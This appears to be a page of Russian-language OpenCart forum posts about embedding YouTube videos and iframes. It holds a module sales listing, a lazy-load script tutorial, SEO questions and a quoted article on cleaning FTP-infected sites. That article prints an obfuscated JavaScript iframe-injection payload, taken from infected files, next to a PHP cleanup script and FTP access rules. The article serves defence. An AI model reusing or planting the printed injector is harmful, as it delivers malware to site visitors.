Search the Community

20 Скачать / Купить дополнение YouTube lazy load & popup - вставка видео с youtube, vimeo, галерея видео, оптимизация page speed страниц из видео Модуль решает проблему длительной загрузки iframe из youtube и vimeo и увеличивает page speed. Позволяет добавлять видео youtube и vimeo в полях описаний страниц, добавлять видео шорткордами, собирать видео в галерею на странице товара, отображать видео в popup Для РФ и РБ модуль не продается и поддержка не предоставляется. Все вставки iframe с видео на вашем сайте перед выводом на страницу будут автоматически заменены на превью видео в виде изображений, которые подтягиваются с img.youtube.com/vi. Внимание! Модулю без разницы, каким образом у вас реализован вывод видео (через доп поля, описание товара, доп вкладки или прямо в файле), он собирает конечный код iframe и заменяет на свой именно при рендеринге страницы системой opencart. Т.е весь ваш фунционал остается на месте и видео добавляете на сайт как и раньше. В любой момент модуль можно отключить. ЗАЧЕМ Все знают, что iframe с видео очень сильно загружают страницу и уменьшают скорость загрузки сайта. Особенно это ощутимо (и даже визуально видно), если на странице несолько видео (каждый iframe это доп. запросы и ресурсы). Бонус - галерея видео и удобное добавление видео на сайт. ВОЗМОЖНОСТИ поддержка youtube, youtube shorts, vimeo удобная вставка видео шорткодами видео по клику на превью всплывающее окно с видео по кліку на превью свое изображение для превью выбор размера превью настройки иконки 'play' (изображение, font awesome, html) и ее стлизация сбор видео в галерею на основе добавленных iframe и шорткодов в описании товара выбор позиции галереи и ее стилизация иконка видео в категории иконка видео в товаре (открытие галереи по клику как опция) 2 режима работы галереи возможно указать пути для исключения работы модуля поля для кастомных стилей и js ОСОБЕННОСТИ будет работать на всех шаблонах и страницах максимально легкий модуль без зависимостей (всего пару строк css и ванильного js, никаких библиотек) будет работать даже без бутстрапа и jquery открытый код полная версия 2.0 только для opencart/ocstore 2.2+, для более низких - версия 1 ДЕМО Адмінка https://oc3.likedev.pro/admin/ логін/пароль: demo/demo товар https://oc3.likedev.pro/imac стаття https://oc3.likedev.pro/6-video ПРИМЕНЕНИЕ увеличение скорости загрузки и в результате лучший показатель page speed удобное добавление видео на сайт кастомизация внешнего вида видео превью организация галереи видео в карточке товара без риска для скорости сайта вывод видео в popup позволит показывать ваши iframe даже на ограниченном пр подмена превью на свои позволит поставить нужные вам изображения для видео и украсить сайт 6 видео - разница 30-50% Модуль выключен: https://oc23.likedev.pro/6-video?disable-video-optim и page speed 49/33 - https://developers.google.com/speed/pagespeed/insights/?hl=uk&url=https%3A%2F%2Foc23.likedev.pro%2F6-video%3Fdisable-video-optim&tab=mobile Модуль включен https://oc23.likedev.pro/6-video и page speed 92/75 - https://developers.google.com/speed/pagespeed/insights/?hl=uk&url=https%3A%2F%2Foc23.likedev.pro%2F6-video Страница та же, только в первом случае добавлен параметр ?disable-video-optim , чтобы модуль не срабатывал и можно было увидеть разницу. 1 видео - разница 10-30% И даже с 1 видео показатель достаточно проседает, особенно для мобильных устройств Модуль выключен: https://oc23.likedev.pro/1-video?disable-video-optim и page speed 88/51 - https://developers.google.com/speed/pagespeed/insights/?hl=uk&url=https%3A%2F%2Foc23.likedev.pro%2F1-video%3Fdisable-video-optim&tab=desktop Модуль вкючен: https://oc23.likedev.pro/1-video и page speed 96/80 - https://developers.google.com/speed/pagespeed/insights/?hl=uk&url=https%3A%2F%2Foc23.likedev.pro%2F1-video&tab=mobile Кроме того визуально намного симпатичнее превью с иконкой, чем ютубовский iframe, да и возможность открытия видео в popup тоже очень полезна. + мы можем через css стили кастомизировать превью как нам угодно. Чтобы не было черных полос, можно поставить заставки к видео на канале youtube или загрузить свои в папку модуля. ВАЖНО! Предпочтительно использовать режим POPUP для лучшей совместимости с шаблонами, разметкой и адаптивности видео. УСТАНОВКА видео установки (только тут фикс не нужен, остальное - так же) Через установщик в админке загружаете архив модуля ocmod для своей версии опенкарт. Для версий 2.x убедитесь, что у вас уже установлен модификатор localcopy.ocmod, если его нет - установите. PS. Для редактора CKeditor при вставке в режиме кода некоторых тегов, в т.ч и iframe, редактор их чистит. В таком случае делаем фикс : в admin\view\javascript\ckeditor\config.js после строки config.resize_enabled = false; прописать config.allowedContent = true; ОБНОВЛЕНИЕ к версии 2.0: 1. Удалить модификатор старой версии модуля Youtube lazy load and popup 2. Обновить модификаторы 3. Установить архив новой версии как обычное дополнение через установщик 4. В списке расширений удалить модуль и установить заново ЛИЦЕНЗИЯ Лицензия выдается на один домен. Также при необходимости на тестовый поддомен. Ключ будет выслан автоматически на почту покупателя сразу после вашего заказа. Если по какой-то причине письма нет - пишите на почту или в лс. Приветствую дельные предложения по развитию и расширению модуля. ПРОСЬБА УКАЗЫВАТЬ ДОМЕН СРАЗУ ПРИ ПОКУПКЕ Также смотрите модули: Accordion & Tabs & Steps, Faq & HowTo Microdata, any place & content Smart Video Widgets - видео в фоне, баннера, изображения, уведомления с настройкой условий показа Google Reviews - отзывы с гугл карт (Google Business) с виджетом доверия + отзывы о товарах Добавил Seriusis Добавлено 12.11.2020 Категория Модули Ioncube Loader Нет ocStore 3.0 2.3.0.2.4 2.3 2.2 2.1 OpenCart.Pro, ocShop Opencart.pro 2.3 Opencart.pro 2.1 OcShop 2.0.3.х Обращение к серверу разработчика Нет

HTML: <div id="video"> <div class="videoWrapper"> <iframe width="560" height="315" src="https://www.youtube.com/embed/Zph3K-----" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe> </div> </div> CSS: #video { max-width: 560px; margin: 0 auto; } .videoWrapper { position: relative; padding-bottom: 56.25%; padding-top: 25px; height: 0; } .videoWrapper iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; }

Вставка видео с youtube или twitch на сайт довольно обычное дело. Заходим на страницу с видео, нажимаем на кнопку поделиться, копируем iframe, вставляем в нужном месте и готово, видео сразу же появляется на сайте, но в этом и заключается проблема... Когда iframe встроен непосредственно в разметку сайта, то как только начинается загрузка страницы и браузер видит iframe он начинает загружать видео и все ресурсы необходимые для работы плеера. Сайт начинает долго грузится и как не странно жутко лагать вплоть до зависания устройства с которого пользователь посетил сайт. Помимо этого анализ производительности pagespeed insights даже из-за одного видео проседает примерно на 15 пунктов и тут я с ним полностью солидарен, если на сайте стоит preloader, то пользователь вообще может не дождаться загрузки. Поскольку мне часто приходится иметь дело с такими проблемами я написал небольшой скрипт решающие основные задачи с которыми я сталкивался. Решения в интернете есть ведь идея не нова и проблема известна давно, но они достаточно топорные и сложно расширяемые. Возможно есть какие-то плагины, но к сожалению мне не попадались, да я и не искал. Скрипт написан на чистом js, так что его можно подключить к любому проекту. Demo: https://get-web.site/insertmedia.html Репозиторий на gitHub: https://github.com/get-web/insertmedia Чтобы начать использовать необходимо подключить скрипт: <script src="../src/insertmedia.js"></script> И вызвать его: document.addEventListener("DOMContentLoaded", function () { insertmedia(); }); Можно вызвать с опциями: document.addEventListener("DOMContentLoaded", function () { insertmedia({ delay: 300, // Задержка. default: 300ms immediately: true, // тип задержки true/false. Сразу или по очереди каждый "delay" милисекунд. default: true - сразу attr: 'data-insertmedia', // Атрибут с конфигурацией вставки. В блок с этим атрибутом будет вставляться наше видео или изображение. default: data-insertmedia }) }); Блоку в который будет вставляться видео мы добавляем атрибут с параметрами: data-insertmedia='{"type" : "youtube", "src" : "https://www.youtube.com/embed/6Q6cCuSvFpI", "setting" : "autoplay=1&mute=1" }' Например для вставки видео с ютуба мы можем использовать такие настройки: <div data-insertmedia='{"type" : "youtube", "src" : "https://www.youtube.com/embed/6Q6cCuSvFpI", "setting" : "autoplay=1&mute=1" }'> </div> Доступные опции: type*: тип вставляемого ресурса. На данный момент это: youtube , twitch , html5 , img src*: Ссылка на ресурс (видео,картинка..) например: https://example.com/img.jpg width: Ширина доступная для вставляемого типа ресурса height: Высота доступная для вставляемого типа ресурса setting: Настройки доступные для вставляемого типа ресурса (*) - Обязательно В общем идея достаточно проста, мы передаем тип ресурса и ссылку на него без параметров, а уже в setting передаются параметры доступные для данного типа ресурса. Например фрейм ютуба по умолчанию выглядит так: <iframe width="560" height="315" src="https://www.youtube.com/embed/6Q6cCuSvFpI" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> Мы можем вставить его таким образом (не используя setting или передавая пустую строку "setting": "") : <div data-insertmedia='{"type" : "youtube", "src" : "https://www.youtube.com/embed/6Q6cCuSvFpI" }'> </div> Но если мы, к примеру, хотим запустить видео автоматически и без звука, фрейм будет таким: <iframe width="560" height="315" src="https://www.youtube.com/embed/6Q6cCuSvFpI?autoplay=1&mute=1" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> Как вы могли заметить к ссылке были добавлены необязательные параметры ?autoplay=1&mute=1 их мы и передаем в setting при использовании скрипта: <div data-insertmedia='{"type" : "youtube", "src" : "https://www.youtube.com/embed/6Q6cCuSvFpI", "setting" : "autoplay=1&mute=1" }'> </div> То есть любые параметры описанные в документации к youtube вы можете использовать таким образом. Точно так же передаются параметры и другим типам ресурсов в зависимости от их API. Именно поэтому происходит разделение ссылки и параметров, чтобы можно было их интегрировать под любой тип и иметь возможность правильно составлять шаблоны для последующей вставки. Надеюсь я понятно объяснил и мой труд кому-то будет полезен. Если будут вопросы задавайте их тут. Пишите если что-то нужно добавить или исправить, или если хотите покритиковать. Источник: https://get-web.site/blog/javascript/43-insertmedia.html

Приветствую. Объясните кто знает,применят ли санкции ПС к ИМ,если он во фрейме дорвея?

Нужен плагин позволяющий делать попап окна, в которых будут открываться сайты. Всё это должно происходить по нажатию кнопки. Не нашел ничего подобного. Может кто-то слышал о подобном?

Подскажите пожалуйста, актуальность и правильность данной статьи, полезна ли она в настройке безопасности сайта или же нет?!? Думаю проделать это с сайтом, на котором iframe вставки обнаружены, но чет очкую, так как вдруг тут тож косяк. Удаляем вирус с сайта или борьба с iFrame на сайте Хотел начать свой блог с лирики, но выдалась такая неспокойная неделя, что решил поприветствовать Всех статьей по существу. Привет! А вся неделя прошла в войнах с постоянными взломами моих хостингов и заражением всех JavaScript файлов ifram’ами, а это не много не мало порядка 2500 скриптов и все сайты с вирусами. Не успевал я за день очищать все файлы в ручном режиме и менять пароли, как на следующий день происходило всё снова — пароли каким-то образом утекали и скрипты все вновь успешно по FTP троянились. Пятница недели стала последней каплей и я потратил день на защиту своих серверов: Настроил на серверах .ftpaccess — ограничив тем самым доступ по фтп к серверам со всех IP кроме своей статики; Написал скрипт автоудаления из всех файлов .js iframe’ов, вирусов. Итак, по порядку. Заражение файлов сайта происходит банальной вставкой iframe кода в файлы по ftp, раньше я чаще наблюдал вставки в .php, .html файлы — что приводило к полному падению сайтов, сегодня зловреды стали добрее и стали писать вставки исключительно в файлы с расширением .js — JavaScript. IFRAME вставки пишутся в конец файла и могут быть как в явном виде <iframe></iframe> (легко обнаруживаются антивирусами), так и в кодированном (работа различных iframe крипторов), например: try{q=document.createElement("u");q.appendChild(q+"");}catch(qw){h=-012/5;zz='a'+'l';f='fr'+'om'+'Ch';f+='arC';}try{qwe=prototype;}catch(brebr){zz='zv'.substr(123-122)+zz;ss=[];f+=(h)?'ode':"";w=this;e=w[f.substr(11)+zz];n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$13$55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5$26.5"[((e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1-2-1;i-684!=0;i++){k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));}q=ss;e(q);} Весь этот символьный хаос в результате работы JavaScript превращается в легко читающийся HTML код iframe вставки и загружает пользователю сайта тело вируса посредством работы эксплойта. Опираясь на данный минимум теории начнем защищаться от заражения сайтов. Настройка .ftpaccess — ограничиваем доступ по фтп к серверам Вирусы, которые грабят ваши пароли от ftp настолько хитры, что антивирусы зачастую бессильны и пароли утекают, как бы Вы не защищались. Предлагаю пойти по другому пути — и просто перекрыть доступ к вашему ftp. Чтобы разрешить доступ по FTP только с определенных IP, разместите в корне своего сервера, папки с сайтов файл .ftpaccess с содержимым: Allow from xx.xx.xx.xx Allow from xx.xx.xx.xx Deny from all Где xx.xx.xx.xx — это ваш IP, с которого разрешена активность по FTP, всем остальным досвидания. За выделенным IP звоним провайдеру! Если все же вы не можете получить выделенный адрес, а имеете динамические адреса, то можно указать диапазон адресов, из которого выдаются IP-адреса вашим интернет-провайдером, например это будет выглядеть так: Allow 212.32.5.0/26 Allow 158.152.0.0/16 Deny from all Это позволит ограничить доступ взломщикам к вашим серверам. Скрипт автоудаления из всех файлов вставок iframe’ов После того как сервера были защищены, я приступил к написанию скрипта, который сможет проверить сайт на вирусы и проходил бы по всем папка хостинга, проверяя указанные мной форматы файлов на наличие в содержимом iframe’ов. Результатом работы явился следующий скрипт, который удаляет вставки вредоносного кода из страниц сайта, в конкретном примере из .js скриптов: <!--?php // iframe удалятор от GlooSoftware.ws $virus_start = 'try{q=document.createElement'; //начало вредоносного кода $virus_end = 'q=ss;e(q);}'; //конец вредоносного кода $skip_files = array ('clean.php'); //название файла - который следует проигнорировать при проверке $del = true; //лечим(true) или просто смотрим кол-во зараженных файлов(false) $dir = getcwd().'/'; //корень сайта $num_infected = 0; function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') { if ($dh = opendir($dir)) { while (($file = readdir($dh))!== false) { if ($file === '.' || $file === '..') { continue; } if (is_file($dir . $file)) { if (is_array($types)) { if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) { continue; } } $callback($baseDir, $file); }elseif($recursive && is_dir($dir . $file)) { dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR); } } closedir($dh); } } function del_virus($fdir, $ffile) { $flag = false; $filename = $fdir.$ffile; echo $filename; $file=file($filename); foreach($file as $k=-->$v) { $virus_text = $GLOBALS['virus_start']; $pos_start = stripos($v, $GLOBALS['virus_start']); $pos_end = stripos($v, $GLOBALS['virus_end']); $virus_text = substr($v, $pos_start, $pos_end); if ($virus_text != "") { if (!stristr($v, $virus_text)) { $nfile[]=$v; } else { if (!$flag) { $flag=true; if (in_array($ffile, $GLOBALS['skip_files'])) echo " - skipped"; else { echo " - infected"; $GLOBALS['num_infected']++; } } } } else { $nfile[]=$v; } } if ( $GLOBALS['del'] ) { $file=fopen($filename,"w"); fwrite($file,implode($nfile,"")); fclose($file); } } dir_walk('del_virus', $dir, array('js'), true, $dir ); echo "Num infected = $num_infected "; ?> Пользуйтесь наздоровье, если будут вопросы — задавайте — чем могу, помогу! В одной из следующих статей напишу простейший криптор iframe’ов, что бы вы понимали что же такое Вам в сайты встраивают и для чего.

Здравствуйте, хочу для каждого товара выводить в карточке допустим видеообзор, если делать как предлагает youtube <iframe allowfullscreen="" frameborder="0" height="315" src="xxx" width="420"> читал что использование iframe может повлиять на индексацию сайта, вплоть до вылета страниц из индекса и iframe еще передает вес. Это правда? Как тогда можно вставлять видео в карточки товаров без вреда сайту?